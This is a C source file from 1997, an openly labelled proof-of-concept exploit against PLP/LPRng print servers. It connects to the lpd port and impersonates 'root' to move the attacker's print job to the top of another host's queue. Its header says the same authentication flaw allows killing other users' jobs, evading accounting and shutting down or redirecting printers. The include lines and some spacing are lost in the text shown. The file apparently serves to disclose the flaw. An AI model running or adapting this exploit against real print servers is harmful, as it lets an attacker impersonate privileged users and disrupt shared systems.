/* * lpboost.c * * Simple exploit to demonstrate problem with PLP/LPRng user * `authentication': boost your print job's priority by moving it * to the top of the queue. * * This is the most harmless exploit of this problem. More serious * ones include circumvention of the accounting system, killing * other users' jobs, shutting down printers, redirecting them, * etc. * * Copyright (C) 1997, Olaf Kirch */ #include #include #include #include #include #include #include #include #include static int doconnect(char *hostname); static void dosend(int fd, unsigned char ch, char *string); int main(int argc, char **argv) { charbuffer[8192]; charhostbuf[256], *hostname = hostbuf; int fd; if (argc == 4) { hostname = argv[3]; } else if (argc != 3) { fprintf(stderr, "usage: lpboost [hostname]\n"); exit(1); } else { /* If lpd.perms allows queue manipulation only from * the local host (SERVER keyword), must use FQDN * rather than localhost (127.0.0.1) */ gethostname(hostbuf, sizeof(hostbuf)); } if ((fd = doconnect(hostname)) < 0) { fprintf(stderr, "Failed to connect to %s: %s\n", hostname, strerror(errno)); exit(1); } /* Assemble control message */ sprintf(buffer, "%s %s topq %s %s", argv[1],/* printer */ "root", /* user */ argv[1],/* printer */ argv[2]); /* job # */ /* Transmit control message and pick up status */ dosend(fd, 6, buffer); exit (0); } static int doconnect(char *hostname) { struct hostent *hp; struct sockaddr_in sin; int fd; if (!(hp = gethostbyname(hostname))) { fprintf(stderr, "%s: unknown host\n", hostname); exit(1); } memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr = *(struct in_addr *) hp->h_addr; sin.sin_port = htons(515); if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { perror("socket"); exit(1); } if (connect(fd, (struct sockaddr *) &sin, sizeof(sin)) < 0) { perror("connect"); exit(1); } return fd; } static void dosend(int fd, unsigned char ch, char *string) { charbuffer[256], cr = '\n'; int slen = string? strlen(string) : 0; if (write(fd, &ch, 1) != 1 || (string && (write(fd, string, slen) != slen || write(fd, &cr, 1) != 1))) { perror("write"); exit(1); } while ((slen = read(fd, buffer, sizeof(buffer)-1)) > 0) { buffer[slen] = '\0'; fprintf(stderr, "lpd: %s\n", buffer); } if (slen == 0 || errno == EPIPE) return; perror("read (errmsg)"); exit(1); }